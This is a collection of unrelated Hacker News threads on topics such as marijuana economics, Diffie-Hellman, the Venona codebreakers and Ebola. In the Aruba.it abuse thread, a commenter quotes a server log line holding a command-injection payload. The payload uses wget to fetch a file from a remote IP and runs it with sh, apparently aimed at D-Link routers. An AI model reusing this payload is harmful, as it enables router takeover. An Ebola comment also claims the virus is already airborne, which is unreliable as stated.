Can Marijuana Save California's Economy? - <AUTHOR> http://news.yahoo.com/s/time/20090313/us_time/08599188495600 <comment><USER2> Why did I know that the top comments would be complaints about the topic?

Ok -- why as a hacker (and non-pot-consumer) am I interested?

First, entrepreneurs are always playing the angles seeing where there might be some economic traction where there was none. Obviously if pot becomes legal, there will be social changes both in California and the rest of the U.S. I could easily imagine pot-based vacation planning as a web service. Or better still, some kind of pot fanboy sites, just like we have with wine and beer drinkers. None of these business options have been on the table until now. To me this pot stuff sounds like a lot of cash on the table. Sure the growers, distributors, and governments are going to pick most of that up, but there are lots of really interesting places to tap into that cash flow.

Second, as a government-hacking project, the idea fascinates me. Will the California legislature pass this? Will Arnold (a bit of a famous pot-smoker himself) sign it? If so, does the federal government step in? What's more important, having states try new unusual tactics to keep funded or having the feds control drug policy? Will the feds step in or not? It's a long way from ignoring enforcement to having states flout the federal laws. Ever since Lincoln decided that no, states aren't all that powerful there has been this interesting power struggle between states and the federal government that the feds mostly win. Will this be an exception?

I wouldn't want to see pot stories everyday, at least pot stories that are simply "legalize pot, now!" kind of things. But stories about significant other concepts, like startup opportunities or civics, that just happen to involve pot? I'm okay with that every now and then.

</comment><comment><USER3> I have happily lurked for a year and a half and finally created this account to say one thing: enough with the Marijuana news. This is not reddit. Please.

WRT to the article, people have been saying weird things since the economic crisis started. For a truly strange proposition read this[1] Times article where a Western banker wants the application of Islamic Sharia banking to the financial sector:

[1][http://business.timesonline.co.uk/tol/business/law/article58...](http://business.timesonline.co.uk/tol/business/law/article5889624.ece)

I didn't post it when I saw it first, why? because the news paper took one fringe opinion to bait for viewership. If California passed prop-8 to deny some humans the right for marriage what makes you think it would grant others the right to consume a recreational drug? this is just one politician "planning an 'off the hook' public-relations offensive to attract younger voters, especially blacks and Hispanics, by applying the party's principles to urban-suburban hip-hop settings." With apologies to Michael Steele :-)

<comment><USER4> I agree that polarized topics like marijuana making the front page here tend to make things trend towards reddit.

However, this particular article focuses on the economic effects legalization would have on California. I think it would be a shame if informative articles like this were flagged/removed, because I think the points it raises are relevant and fascinating. If it hadn't been posted here, I'm not sure if I would have heard about it.

</comment></comment><comment><USER5> If cigarette and other "sin" taxes indicate, no.

I am for legalization but I wish people would talk up marijuana like its some miracle drug with great health and economical benefits.

<comment><USER6> Don't underestimate the power of sin taxes in relation to other states. California would be the only state with legalization and would pull interested tourists from across the country. Their market would effectively be the entire US with no legal means of competition for tax revenue.

The same thing happens with alcohol and cigarette taxation: a lot of people will cross state lines for the cheap smokes of NC or better alcohol of nearby states, if they are within proximity to the states border. This effect is particularly noticable in driving across the country and having the chance to see the businesses that exist next to state lines selling these items.

Another similar situation is that of casinos. The states that allow unfettered gambling in certain areas (table games, slots, etc.) have their casinos built in nexus points of travel near states with more conservative laws.

</comment></comment><comment><USER7> _"The last thing we need is yet another mind-altering substance to be legalized. We have enough problems with alcohol and abuse of pharmaceutical products. Do we really need to add yet another mind-altering substance to the array?"_

That's a good point. Since I am not an expert on the topic, I will abstain from commenting on how mind-altering marijuana is. However, it does seem natural to conjecture that if one smokes more pot, then one's mind will be "more altered", right? Hence, why not follow the Dutch model? This would mean:

\- all shops selling marijuana would require the customers to provide some identification card / document.

\- a network would connect all the marijuana shops to a central database where each person's purchase would be logged. Each person would be allowed to consume a certain quantity of marijuana per day. If one exceeded this limit, the shop would NOT be allowed to sell marijuana.

That way, one could legalize the consumption of marijuana, but impose upper bounds on how much can be consumed daily.

Of course, the shops could sell pot and not register the transaction at the database, but if caught they would be closed down. There could be a limited number of licences to sell pot per county, so that no shop would have an incentive to break the rules, as that would lead to loss of the precious licence. The downside is privacy. All marijuana sales would be logged at the database.

Would this make any sense? What do you guys think?

<comment><USER8> Just try it. At least once. Don't like the smoke? Have a cookie. Within 15-20 minutes, you'll be wondering why you can't get marijuana from a liquor store, taxed and regulated in a similar manner to the rest of the products they sell there (which happen to be far more harmful to you and society anyway).

Side effects from over-doing it are basically mental slowness and a lack of motivation (even this will go away if you just stop for a while). If you start sucking at your job, your suckiness should show up on your performance review and HR should handle you accordingly. Maybe you get fired. This is how an alcoholic would be handled, anyway.

There is way too much fear and over-analysis surrounding this topic. The tools to manage it are already here. _Marijuana_ is already here, and will continue on just fine regardless of whether it is legal or not. Overachievers like Michael Phelps and Barack Obama will smoke marijuana and go on to do great things, just as they always have.

Just legalize it already so we can finally benefit from California's number one cash crop, out in the open, rather than letting the majority of the profits go into the pockets of people who very often do pose a credible threat to society and require insane amounts of tax dollars to manage.

<comment><USER9> > which happen to be far more harmful to you and society anyway

Are you sure that it's not that they're more harmful precisely because they're legal?

<comment><USER10> Yes.

As much as I'd like to leave it at that one snarky word and leave you to fill in the rest, I had better fill out my argument by pointing out that this experiment was actually, factually tried, and it went _terribly_. Illegal alcohol was far worse for society than legal alcohol. Prohibition resulted in the only flat-out repeal of an amendment of the Constitution ever.

<comment><USER9> You're right: I wasn't precise enough in communicating what I meant.

What I was trying to get at was not "wouldn't alcohol cause fewer problems if it was illegal?" but rather "won't legalization of a niche* drug be guaranteed to massively amplify the social ills it causes?".

I have no experience with cannabis, so I'm asking because I'm interested: how do you know that the massive increase in participation which would follow legalization will not cause cannabis to become more of a problem drug than alcohol?

* let's face it, cannabis use is niche compared to alcohol and tobacco

</comment></comment></comment></comment></comment><comment><USER11> Please don't let drugs become HackerNews' equivalent of Reddits' Ron Paul.

</comment><comment><USER12> They could always tax religion instead.

<comment><USER13> They really should modify the tax-exempt status of churches, especially the big mega-churches that make a mint.</comment></comment>


RIM rely on Blackberry 10 to revive their fortunes - <AUTHOR> http://www.gizmophobe.co.uk/rim-rely-on-blackberry-10-to-revive-their-fortunes/ <comment><AUTHOR> Yeah built on QNX OS which is by all accounts rock solid and super fast...

</comment><comment><USER2> I like RIM tbh... would like them to survive along with the blackberry...</comment>


Aruba.it blind to malicious code hosting - <AUTHOR> I tried to notify aruba.it of someone obviously hosting malicious code and trying to attack web servers: http://126.96.36.199/k
(Reverse DNS resolves to their domain)
Their reaction? 1. in the chat they redirect me to dedicated hosting support form ("only way to do it") 2. Dedicated hosting support just closes my ticket.
Wow! <comment><USER2> I got this too (amongst other hosts).

nginx_1 | 18.104.22.168 - - [30/Aug/2018:14:51:22 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20[http://18.104.22.168/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks...](http://188.8.131.52/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$) HTTP/1.1" 400 173 "-" "LMAO/2.0" "-"

Apparently targeting dlink routers - [https://twitter.com/txalin/status/1007625620090707974?lang=e...](https://twitter.com/txalin/status/1007625620090707974?lang=en)

</comment><comment><USER3> You are dealing with customer support for some Aruba customer, i.e. not you. Why don't you contact police or the site owner instead?

If it's a hacked server, the owner has to notice the hack and ask for help cleaning up if necessary. You have no authority whatsoever, and if you attempt to stir up trouble about someone's web site, closing tickets is at the polite end of the response spectrum. You risk prosecution.

If it's a brazen criminal using their own host, they are the customer and the site is working as expected. No customer support required.

<comment><AUTHOR> Errr... reading your points I presume you've never really done that (notifying a service provider).

> Why don't you contact police or the site owner instead?

Police? Seriously? My police here in germany or the italian police? What do you think will happen? Right: nothing. Site owner? If you can tell me the site owner from an IP... I will do that.

> You risk prosecution.

By telling a service provider that they host malicious content and should do sth. about it? Now that's an interesting view.

> If it's a brazen criminal using their own host [...] No customer support > required.

The customer support was the only way to contact the provider. It doesn't matter if they are housing or hosting malicious content. They are at least partly responsible, especially if someone is telling them.

<comment><USER3> You are trying to intimidate a provider into messing with someone else's site, which amounts to hacking or worse.

</comment></comment></comment><comment><USER4> There's basically nothing you can do besides notify their abuse desk and probably get ignored, because abuse desks pay little attention to one-off complaints like that. If they do get taken down, it'll be by one of the larger security companies who detect the page (for example, if that IP sends spam) and includes it in their feed of bad IP's to aruba.</comment>


This is why Apple's iPhone 4S doesn't support 4G/LTE - <AUTHOR> http://blogs.computerworld.com/19138/this_is_why_apples_iphone_4s_doesnt_support_4g_lte

<comment><USER2> B.S. It didn't support it because they never planned to include it in the 4S. Apple can get more money buy selling both 4S and then the 5 later with 4G.</comment>


A Graser Breakthrough at Los Alamos (1986) [pdf] - <AUTHOR> https://larouchepub.com/eiw/public/1986/eirv13n43-19861031/eirv13n43-19861031_022-a_graser_breakthrough_at_los_ala.pdf <comment><USER2> It's worth noting that 'paper' is from Lydon Larouche's 'Executive Intelligence Review'. Not what I would consider a reliable source even in 1986 the same year he was arrested for credit card fraud. He was subsequently convicted in 1988.

As to the content a gamma ray laser is a fun idea but if there were any of them in "as little as three years" and if they had applications then those have remained secret for quite some time. Every public indication is that there aren't any. See here for a discussion: [https://en.wikipedia.org/wiki/Gamma- ray_laser](https://en.wikipedia.org/wiki/Gamma-ray_laser)

</comment><comment><USER3> The "breakthrough" appears to be the separation of mercury "isomers" (that should be isotopes?) Nothing much seems to have come from it.

</comment><comment><USER4> Whelp, lets get some of that Star Wars funding...</comment>


DroneAid: A Symbol Language and ML model for indicating needs to drones, planes - <AUTHOR> https://github.com/Code-and-Response/DroneAid <comment><AUTHOR> From the README [https://github.com/Code-and- Response/DroneAid](https://github.com/Code-and-Response/DroneAid) :

> _The DroneAid Symbol Language provides a way for those affected by natural > disasters to express their needs and make them visible to drones, planes, > and satellites when traditional communications are not available._

> _Victims can use a pre-packaged symbol kit that has been manufactured and > distributed to them, or recreate the symbols manually with whatever > materials they have available._

> _These symbols include those below, which represent a subset of the icons > provided by The United Nations Office for the Coordination of Humanitarian > Affairs (OCHA). These can be complemented with numbers to quantify need, > such as the number or people who need water._

Each of the symbols are drawn within a triangle pointing up:

\- Immediate Help Needed (orange; downward triangle \n SOS),

\- Shelter Needed (cyan; like a guy standing in a tall pentagon without a floor),

\- OK: No Help Needed (green; upward triangle \n OK),

\- First Aid Kit Needed (yellow; briefcase with a first aid cross),

\- Water Needed (blue; rain droplet), Area with Children in Need (lilac; baby looking thing with a diaper on),

\- Food Needed (red; pan with wheat drawn above it),

\- Area with Elderly in Need (purple; person with a cane)

So, we're going to need some artists; something to write large things with; some orange, cyan, green, yellow, blue, lilac, red, and purple things; some people who can tell me the difference between lilac (light purple: babies) and purple (darker purple: old people); and some drones that can capture location and imagery.

Note that DroneAid is also a project of The Linux Foundation Code and Response organization.</comment>


Are we working extra hours just for those 155M jobless and food-stampers? - <AUTHOR>

http://rt.com/usa/156800-americans-economy-unemployed-work/
http://www.trivisonno.com/food-stamps-charts
As a middle class I work about 60~70 hours a week, and been taxed heavily. When I read news of these I feel that half of my working hours are for those jobless and food-stampers, I suddenly feel awful and hopeless. <comment><USER2> Lets do some back of the envelope calculations:

\- US taxes paid in 2013: $5.4 trillion [1]

\- Number of tax returns filed in 2013: 134,349,000 [2]

This works out to $N per tax return.

N = (5.4 x 1000000000000) / 134,349,000

N = $40,193

Sooo, if your tax return had you paying less than $40K in taxes you may be a "freeloader" since you are not paying your share. ;-)

[1] [http://www.usgovernmentrevenue.com/total_2013USrt_15rs1n](http://www.usgovernmentrevenue.com/total_2013USrt_15rs1n)

[2] [http://www.irs.gov/uac/Newsroom/Filing-Season-Statistics- May...](http://www.irs.gov/uac/Newsroom/Filing-Season-Statistics-May-10,-2013)

</comment><comment><USER3> You have the option of saying no to those 60-70 hours/week and swapping places with the jobless and food-stampers, if you think they're getting a better deal.

(On a side note, the figures in the first link are very misleading, as they include all those not in the labor force. That includes children, retirees, stay-at-home parents, long-term disabled, folks in the hospital with cancer, etc. in addition to the unemployed. It's very likely that you were included in those figures for more than half of your lifetime.)

</comment><comment><USER4> What type and how much tax have you been paying? Federal? State?</comment>


Show HN: Automatically share new blog posts on targeted subreddits - <AUTHOR> https://www.hiscribble.com/exclamation <comment><AUTHOR> Hey everyone!

From launching our own blog we've discovered just how much a PITA it is to maintain it—let alone actively grow it.

Blogs are great growth mechanisms for products (SEO, targeted traffic, branding, etc.), but they also require a lot of love & attention. Beyond writing the blog in the first place, you also have to get it in front of the right people.

We heard all about this problem when we launched Scribble (an on demand blog writing subscription for startups), and thought we had the right background to address it.

Exclamation is a seamless way to promote your blog posts on targeted subreddits. Here's how it works:

1\. Send us a link when you publish a new post 2\. We'll generate a custom list of 10 targeted subreddits for each post you submit 3\. We'll hand-submit the posts (to avoid getting flagged as spam) to the subreddits within 5 days

Exclamation is for those who have enough time to write a great blog post, but not enough to share it everywhere they should. Your blog should help your product grow, not suck time away from working on it.

Exclamation is really exciting when it's combined with Scribble: essentially with these two you can automate both the writing of your blog and the promotion of it. You can just sit back, relax, and leave your entire blog on autopilot. That way you can focus on what actually matters: product & users.

Would love to hear your thoughts on this! We'll be around all day to answer questions.

</comment>


Interactive short movie with in-browser emotion recognition by Mozilla - <AUTHOR> https://stealingurfeelin.gs/ <comment><USER2> It just does not work on an iPhone. 0.00% into men doesn't mean I'm into men. It just means the camera isn't centered.</comment>


Google Nexus One costs $174 in materials - <AUTHOR> http://www.isuppli.com/News/Pages/Google-Nexus-One-Carries-$17415-Materials-Cost-iSuppli-Teardown-Reveals.aspx

<comment><AUTHOR> How do you go from a cost of $174 to an unsubsidized price of $529?

How much does manufacturing cost?

<comment><USER2> A pricing model that is not cost-plus pricing?</comment></comment>


Computer Forensics Wiki - <AUTHOR> http://www.forensicswiki.org/wiki/Main_Page

<comment><USER2> So 2005! Where is the "Stackoverflow for computer forensics?" ;)

</comment><comment><USER3> This paper on Cisco IOS forensics [http://www.blackhat.com/presentations/bh- dc-08/FX/Whitepaper...](http://www.blackhat.com/presentations/bh- dc-08/FX/Whitepaper/bh-dc-08-fx-WP.pdf) seems to point out a very real business opportunity: on- demand in-depth analysis of router core files from crashes to look for network problems and intrusion/attack.</comment>


A List of Career Limiting Moves to Blow Up Your Future - <AUTHOR> https://www.financialsamurai.com/a-list-of-career-limiting-moves-to-blow-up-your-life/ <comment> star-techate > 3\. Not speaking Swahili. If your boss is from Swaziland, then you need to > know everything there is about Tanzania or Kenya.

Ha ha, pretty good. They snuck a serious-sounding joke item into an otherwise good list.

> 14\. Writing an open letter to your boss.

Needs to go on a separate list, titled something like "Fun Ways to Quit Your Job"

> BONUS: Being a jackass outside of the work place.

Needs to go on a separate list, titled "The author of a list tells you how he vindictively sabotaged someone's career for expressing mild annoyance in a way the author did not care for."

Replace it, on this list, with "having a social media account".

Just don't.</comment>


Free speech means a free internet – even if Democrats don't like it - <AUTHOR> http://thehill.com/opinion/technology/395595-free-speech-means-a-free-internet-even-if-democrats-dont-like-it <comment><USER2> tl;dr This isn't about either the freedom of the Internet or net neutrality, as you might think from the title.

This is a pro-Trump opinion piece arguing that:

1\. Fake news didn't contribute to Trump's victory

2\. No new transparency laws are required to prevent Russian meddling in the future

3\. Requiring political spending disclosures will chill speech</comment>


Show HN: Anya (v2.1), chatbot to free RAM and CPU in your brain - <AUTHOR> Anya is a chatbot that lives on Facebook Messenger and Telegram. She's designed to provide you with cues at relevant times of day to either review your progress on your life procrastinations, track your sleep or meditate.
I'm a big believer in self-automation. However, before we even start talking about AI completing tasks for us, I believe we should already start with freeing up cognitive capacity. This bot allows me to go about my day whilst capturing small pieces of information at relevant times. It then resolves that information back to me so I can critically analyse it and take action.
My favourite feature: The procrastinator. This tool takes up to 3 goals at any time. Each day I fail to complete a goal, I have to add an excuse and over time I see them piling up, which provides me with material to ensure I can't reuse them
Backstory: After spending a heck of a lot of time building discipline and habits and trying a bunch of apps, I decided to build something that focuses on the essentials. Conversational approaches spoke more to me than all these apps that try to be impressive but ended up distracting me
Feedback welcome: "Evolution favours not the strongest, but those who are the most adaptable to change"
https://www.anyalife.org <comment><USER2> You made bot for Messenger and Telegram, but to talk to human you have whatsup option? Little peculiar.

I tried accessing privacy policy, but your link doesn't work.

Other than that, I messaged a bit with your bot, and I like the idea. I am not sure chatbot is the best UX, most of the chatbots I tried I disliked. But I wish you success.

(Sidenote, do you plan to monetize? org domain is confusing for me if you are for-profit)

<comment><AUTHOR> Thanks for the feedback.

Yes, more people have WhatsApp than FB or Telegram. Good point though, I've just plugged in a Telegram support link.

Regarding the UX, bots are actually the perfect technology for this case. The goal is to replicate your self-talk process and that happens through words.

Finally, I agree with disliking the chatbots. Alot of them want to showcase cutting edge NLU/NLG tech at the expense of actually providing a service.

The goal with Anya is to provide a bot that helps you actually grow as a human overtime and get better data about yourself instead of staying on one-off waffle conversations.

Yes, we do plan to monetise. Premium plan coming in May at $18 p. month including additional life tools, analytics, guided goal setting</comment></comment>


Introducing Gmail Shelfie - <AUTHOR> http://gmailblog.blogspot.com/2014/03/introducing-gmail-shelfie.html

<comment><USER2> [http://i.imgur.com/01VEUKN.jpg](http://i.imgur.com/01VEUKN.jpg) Looks like this for anyone not getting it yet.

</comment><comment><USER3> Can this be more overhanded? I really liked Google's older jokes, they were more subtle.

<comment><USER4> I'm sure we'll see more April Fools from Google soon. They are a big team after all.

</comment></comment><comment><USER5> But... but... but... It's not April Fool's yet!

<comment><USER6> Please remember there are other continents in this world.

</comment></comment><comment><USER7> Starting the April fools pranks a little early over there.

At least that's what I'm hoping.

<comment><USER8> If the chart didn't tip you off, this should have: _Links to this post - Google April Fools ' Day jokes for 2014 | TalkAndroid.com_</comment></comment>


Diffie-Hellman Key Exchange in Plain English - <AUTHOR> http://security.stackexchange.com/questions/45963/diffie-hellman-key-exchange-in-plain-english/45971#45971

<comment><USER3> Of course, that's only 1/3 the problem. You now have a secret key that you can use to encrypt/decrypt messages with your neighbor - you need a good encryption algorithm (the next 1/3 of the problem, thankfully there are a lot of high quality ones to chose from.) But the missing 1/3 of the problem - <USER2> are you communicating with? Is it the person you think it is, or some nefarious MITM.

Diffie-Hellman can give you confidentiality, but it won't authenticate your neighbor. To do that, you'll need either a shared secret (which, ironically, could have been used as your encryption key in the first place - It's the way statically configured IPSec without PFS works), or some form of PKI. But, if you have PKI, then you somehow managed to securely get a certificate on your system, and that mechanism _also_ could have been used to get a secure encryption key.

I like the signify approach used by OpenBSD for authentication - they didn't even attempt to use a PKI or trust relationship (The entire thing was basically written in 10 days) - they just blasted their public key (including [http://www.openbsd.org/57.html](http://www.openbsd.org/57.html)) for each release in every possible place they could think of, and users are expected to use some caution, also check email, and possibly smoke-signals into outer space, with that process to jump start security. Of course, once you have your first link-in-the-chain, you can use that to securely bootstrap the rest of the keys (which are included in each release).

You get a mechanism for Key-Exchange, but not Identify verification. At the end of the day, Diffie-Hellman needs a good PKI infrastructure to be useful.

</comment><comment><USER4> But let's really get down to plain English. What is the best analogy to use when explaining public key cryptography to an educated, non-technical audience? I've used the door-with-2-locks analogy previously. Is there a clearer analogy?

<comment><USER5> I really like the paint analogy on Wikipedia for explaining this concept to laypeople who will never need to understand how DH actually works.

If you need to explain DH to someone who demands an understanding of what it actually does, DH is so easy that you might as well have them bang it out with small numbers in their scripting language of choice; you can talk someone though DH in about 4 minutes, and it even works as a sort of magic trick if there's a third person in the room who can hear your public values (again: use 2-3 digit numbers).

<comment><USER6> [https://youtu.be/6NcDVERzMGw?t=165](https://youtu.be/6NcDVERzMGw?t=165)

</comment></comment></comment><comment><USER7> Maybe not plain English, but you prefer simple code examples, here's it in JavaScript using Node.js' bindings to OpenSSL: [https://nickdesaulniers.github.io/blog/2015/02/22/public- key...](https://nickdesaulniers.github.io/blog/2015/02/22/public-key-crypto- code-example/)

</comment><comment><USER8> That is a minor simplification of the wikipedia description, though the illustration in the wikipedia article helps to make the mechanism clear: [https://en.wikipedia.org/wiki/Diffie–Hellman_key_exchange#Cr...](https://en.wikipedia.org/wiki/Diffie–Hellman_key_exchange#Cryptographic_explanation)

<comment><USER9> Here is the best video I have seen explaining Diffie-Hellman using the color analogy: [https://youtu.be/6NcDVERzMGw?list=PLB4D701646DAF0817&t=156](https://youtu.be/6NcDVERzMGw?list=PLB4D701646DAF0817&t=156)</comment></comment>


How the Web Became Unreadable (2016) - <AUTHOR> https://www.wired.com/2016/10/how-the-web-became-unreadable/ <comment><USER2> Most web browsers allow you to override everything he's complaining about.</comment>


PeopleDex: Pokedex-Trained Char-RNN Twitter Bot - <AUTHOR> https://twitter.com/peopledex <comment><AUTHOR> Tweet at it and it'll give you the "entry" for your tweet!

There is a word filter, so it will (hopefully) avoid the fate of Tay.</comment>


Ask HN: Do you look into the Testimonial section for SaaS purchase? - <AUTHOR> Hello HN,
I want to respect users time when collecting the testimonials and ask for only the most useful aspect. Herewith, like to consider HN community opinions on whether you as a Saas user concerned about clientele and testimonials? If yes, what is the one vital thing you look in testimonials, to buy the subscription?
Your views and experiences will be a great help.
TIA <comment><USER2> To me testimonials are mostly useful for seeing if a SaaS product has a number of actual decently sized paying customers. Or in other words, for understanding the chance of the product ceasing to exist in 6 months due to the company running out of funding or product-market fit.

<comment><AUTHOR> Got it. So, a stat display of users count and api usage

<comment><USER2> Not really, I don't trust stats. A company name and sentence means they are a costumer willing to have their name publicly attached. I know who they are, how big they are and that they're involved enough to respond with a quote. There's at least some legal risk for having a company testimonial that's fake.</comment></comment></comment>


MCC Is providing leasable, cryptocurrency mining power to small scale investors - <AUTHOR> http://techmadman.com/index/article/read/id/227 <comment><USER2> Thought china was cracking down on this kind of thing.</comment>


The Code-Breaking Women Who Unmasked Soviet Spies - <AUTHOR> https://www.smithsonianmag.com/history/women-code-breakers-unmasked-soviet-spies-180970034/?no-ist <comment><USER2> >Into the 1970s, certain key Soviet wartime agents remained unidentified; even then, only selected portions of nearly 3,000 messages had been read. Customer agencies—the CIA, the FBI and agencies in the U.K.—wanted the messages mined as long as they might yield something, but in 1978, the NSA evaluated the likelihood of any more matches and decided to phase out the program within two years.

If it's declassified, are the raw cipher publically available (the decoded and nondecoded ones)?

<comment><USER3> A common practice after the second world was that everything got burned in order to prevent war from accidentally reigniting. Would be interesting to know how much of that practice was used after the cold war.

<comment><USER2> it's often depicted in movies (hastily burning paperwork when the area is being invaded), but I always thought this was to destroy evidence of any war crimes.

</comment></comment></comment><comment><USER4> Headline should read 'The female cypher-breakers who...'

I do hate such abuse of language. Would the Smithsonian have written 'a man mathematician'? Of course not.

<comment><USER5> This has started to crop up because the term female has taken on negative connotations. Similarly for girl. Thus woman is becoming the all-encompassing word in a way that does not parallel the male terms.

<comment><USER6> Just curious: what are negative connotations of "female"? I'm not a native speaker.

<comment><USER5> It's very subtle. "Females" is a term used for women in some of the seedier corners of the internet. It implies grouping women with female animals rather than grouping them together with men as human beings.

<comment><USER7> I have read your comment several times and still fail to find any meaning to it. Is it some sort of joke/sarcasm ?

<comment><USER5> It's completely sincere. I have seen it happen plenty of times. A quick search and perusal of the headlines backs me up. [1]

[1] [https://duckduckgo.com/?q=referring+to+women+as+females&t=ip...](https://duckduckgo.com/?q=referring+to+women+as+females&t=iphone&ia=web)

<comment><USER8> Seems to be an extreme fringe position supported by a few articles from Buzzfeed, Jezebel, The Root, Reset Era, a YouTube video, and a reddit post with 7 votes. The rest of the results are about calling women "girls" which can be offensive for obvious reasons.

Perhaps you could point to a specific example where "it implies grouping women with female animals rather than grouping them together with men as human beings."

<comment><USER5> It's generally the extreme fringe misogynist groups that use the term females almost entirely to the exclusion of "women."

I'm rather surprised I'm getting so much pushback on this here, of all places. I thought it would be pretty obvious to most of the English as first language population here.

<comment><USER7> English is not my first language, but if I understand correctly, "woman" is often a noun and "female" is often an adjective; but the usage can be interchanged.

The articles that you link say that using "female" as a noun is somewhat demeaning. OK, I can agree with that.

What I don't get is how using "female" as an adjective can be demeaning at all? This is a different question that seems very surprising as a non-native speaker. Using the noun "woman" as an adjective (in apposition) is maybe grammatically correct, but sounds very strange to me.

<comment><USER9> There are people who argue that all kinds of things are demeaning or offensive. For example, some have argued that "person with disabilities" should be preferred over "disabled person" because using the word "person" first emphasizes their humanity. I heard someone claim that saying "I'm going to go home and sleep to recharge my batteries" is demeaning (to yourself!) because you're talking about yourself like a machine.

As far as I know, these notions do not usually come from (a) studies showing e.g. that, if you have people read text using one phrase or the other, and then give them questions designed to evaluate their opinions of disabled people, you see an actual effect; or from (b) a statistically significant sample of actual disabled people saying they really would prefer one phrase over the other; but usually from (c) an academic thinking something up and writing about it, and other people reading about it and adopting the new phraseology so as to avoid the chance of being called "insensitive". Sometimes it makes it out of academia and we end up hearing about it.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER10> Why does the gender matter? I hate headlines like this

<comment><USER11> > The story of Venona's female code breakers has never been publicly told in > full. Benson interviewed some of them for a classified internal history of > Venona, only portions of which have been declassified and released online. > More important, while the exploits of Gardner and other men have been the > focus of entire books, the women themselves did not talk about their > work—not to their friends, not to their families, hardly to each other. Most > took the secret to their graves.

Can you see why gender matters?

<comment><USER12> That maybe the books focus on some of the topics. But maybe it would have been a better book had it just focused on the code breakers and how imoortnant they were.

Society has changed alot. And all this setting the score right stuff is going to rip us apart. So every time we have to point out how bad somebody had it and who their operrssors _were_ it is going just casue more division.

And in this case I think pointing anyof that out when telling this story is just a distraction from a real story that everybody could enjoy; that we had awesome people who did awesome shit that helped win a war.

I am not saying that the stories of oppression or injustice can't be told. Just when they are please don't try and hitch it to the far better time proof story. Eg if you want to wrtie a book about how _some_ men did bad things and focus on on vile _some_ men are you can do that. But at least advertise it as a book with intent to spread hate to parties not actually involved. That way when you write about "code breakers" without a gender being the main focus people can enjoy it without being distracted on either end of the spectrum.

It will come on off much more natural and powerful if when women were written about if they were done so in the same manner as men. Simply write the story "The code breakers ..." and readers will happily discover the identity of the actors in the book.

But then again people who like to point gender out often have other ajendas than simply waiting about something that could universally interest people.

(Typing from phone while holding baby. Sorry for spelling or grammar issues ).

<comment><USER11> > It will come on off much more natural and powerful if when women were > written about if they were done so in the same manner as men. Simply write > the story "The code breakers ..." and readers will happily discover the > identity of the actors in the book.

Both are not mutually exclusive - you can do both.

<comment><USER12> You can but at the risk of deviding people. And most definitely alienating some people.

The the entire men vs women is toxic. Every man can't be held responsible for for what some man did in the past. We are different people and not identified by our gender. The same holds tire doe women. What a man or woman does mentally really should not even be a topic. Making it one will only create sides that people are forced to join. It also brings up a bunch of questions that str not productive to society. Like which group is better ? If you answer either group you now become sexiest. It is just as bad to say women code better than men vs men code better than women. That is where every one of these gender separations of groups lead too. It is toxic and vile. And nobody should support it.

<comment><USER11> Honestly, I can't see your point. The article merely highlights role of women in code breaking which wasn't known in the past. They don't say women were better than men. I don't see anything in the article as men vs women.

<comment><USER12> I am not talking about th book directly but the notions brought up by parrent post.

I am purly talking about about always grndeting the person ehoadr the achivment.

I also may have gone off topic a bit.

Edit. I am out and about. I probably should not try to convey this stuff from a phone while distracted. My arguments are not directe at the book. But it there was a bullseye it would still be on the board.</comment></comment></comment></comment></comment></comment></comment>


Cool Old Terminal – Awesome emulator - <AUTHOR> https://github.com/Swordifish90/cool-old-term

<comment><USER2> The fonts on CGA / EGA / VGA were pretty brutal.

[http://compgroups.net/comp.fonts/fonts-in-the-rom-of-ibm- s-d...](http://compgroups.net/comp.fonts/fonts-in-the-rom-of-ibm-s-display- adapters/257794)

        MDA:  9x14
        CGA:  8x8
        EGA:  8x14
        MCGA: 8x16
        VGA:  9x16

ANSI.SYS had some font manipulation, but not much. There were ways of loading different fonts for the terminal but I can't remember what they were now and they felt like a bit of a kludge back then.

[http://www.pcxt-micro.com/ansi.html](http://www.pcxt-micro.com/ansi.html)

</comment><comment><USER3> > Arch Linux [Install Instructions]

There's already an AUR package:

        $ yaourt cool-old-term
        1 aur/cool-old-term-git c2fca95-1 (2)
            A good looking terminal emulator which mimics the old cathode display.

This project looks good though - if just for the novelty factor. Thank you and I'll go install it now :)

</comment><comment><USER4> Why it doesn't have Unicode in its fonts? I want to print Central European characters in this...

Or can you recommend some "retro" fonts with unicode?

</comment><comment><USER5> If you like actually want an old terminal hit me up :-)

</comment><comment><USER6> Makes me think of the 'pip-boy' display in Fallout: New-Vegas video games ... pretty cool!

</comment><comment><USER7> Arg someone make a Windows version of this ASAP

<comment><USER3> It might compile for Windows since most of the dependencies it uses does have Windows ports.

</comment></comment><comment><USER8> Rip off of [http://www.secretgeometry.com/apps/cathode/](http://www.secretgeometry.com/apps/cathode/) ?

<comment><USER9> What constitutes a "rip off"? It's hardly a rare or unique idea to emulate vintage monitors or terminals. Not to mention this is free and open source, rather than Cathodes paid/closed model.

While I own, use and love Cathode, I'm glad to see this project. Cathode has several annoying bugs and only a few developers to work on them. It is poorly optimized and slays battery. With a community of developers I think this has potential to exceed Cathode, if it hasn't already.</comment></comment>


What We're Afraid to Say About Ebola - <AUTHOR> http://www.nytimes.com/2014/09/12/opinion/what-were-afraid-to-say-about-ebola.html

<comment><USER2> It seems everyone here is afraid to say anything too.

This is one of the few NYT articles where the comments actually add to the discussion rather than become a partisan shouting match.

<comment><USER3> It is perhaps not relevant to this community. Yet. Give it a couple months.

Though I can't excuse the general public. It is astounding to me just how very little most people in the world care about Africa.

<comment><USER2> There is usually a pretty good response to important science stories here so I am not sure why the lack of interest.

There are four really worrying aspects to this outbreak:

1\. It is showing no sign of burning itself out unlike the other 18 outbreaks we know of. Every single person that it passes through increases the probability of it becoming fully adapted to humans. We really have no idea of the case rate, but it is at least a 1000 per week - that is a lot of rolls of the dice.

2\. It is occurring in west Africa where implementing any containment is near impossible. An aspect of this that has not received much attention is the genetic diversity of the human immune system in west Africa population is very high. If the virus does breakout then we can't rely on it having adapted to limited HLA subset - basically if the virus is able to spread in west Africa then it can spread in any human population (a kind of reverse new world problem).

3\. A very high percentage of the medical staff dealing with this are getting infected despite taking extraordinary effort to avoid person-to-person contact. How are they getting infected if not by airborne transmission? This suggest that ebola is already airborne, just not highly efficient yet. Every person infected increases the chance that airborne transmission will become efficient.

4\. We are doing almost nothing to prepare.</comment></comment></comment>


